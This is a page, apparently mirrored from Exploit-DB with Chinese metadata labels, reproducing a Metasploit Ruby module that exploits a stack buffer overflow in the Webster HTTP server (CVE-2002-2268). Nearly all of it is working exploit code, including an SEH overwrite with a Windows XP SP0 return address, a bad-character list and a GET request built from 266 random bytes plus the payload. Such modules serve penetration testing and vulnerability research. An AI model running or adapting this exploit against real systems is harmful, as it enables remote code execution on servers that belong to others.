Webster HTTP Server – GET Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-11-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16802/
  • ##
    # $Id: webster_http.rb 10887 2010-11-03 12:19:19Z patrickw $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::Remote::Seh
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Webster HTTP Server GET Buffer Overflow',
    			'Description'=> %q{
    					This exploits a stack buffer overflow in the Webster HTTP server.
    					The server and source code was released within an article from
    					the Microsoft Systems Journal in February 1996 titled "Write a
    					Simple HTTP-based Server Using MFC and Windows Sockets".
    			},
    			'Author' => [ 'patrick' ],
    			'Version'=> '$Revision: 10887 $',
    			'References' =>
    				[
    					[ 'CVE', '2002-2268' ],
    					[ 'OSVDB', '44106' ],
    					[ 'BID', '6289' ],
    					[ 'URL', 'http://www.microsoft.com/msj/archive/s25f.aspx' ],
    					[ 'URL', 'http://www.netdave.com/webster/webster.htm' ],
    				],
    			'Privileged' => false,
    			'Payload'=>
    				{
    					'Space' => 1024,
    					'DisableNops' => true,
    					'BadChars'=> "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Windows XP SP0', 	{ 'Ret' => 0x71aa32ad } ] , # pop esi; pop ebx; ret ws2help.dll winxp
    					[ 'Debug', 		{ 'Ret' => 0x44434241 } ] , # todo - add more targets.
    				],
    			'DisclosureDate' => 'Dec 02 2002',
    			'DefaultTarget'=> 0))
    	end
    
    	def exploit
    		print_status("Sending request...")
    		seh = generate_seh_payload(target.ret)
    
    		send_request_raw({
    			'uri' => "/" + Rex::Text.rand_text_alphanumeric(266) + seh
    		}, 2)
    
    		handler
    	end
    
    end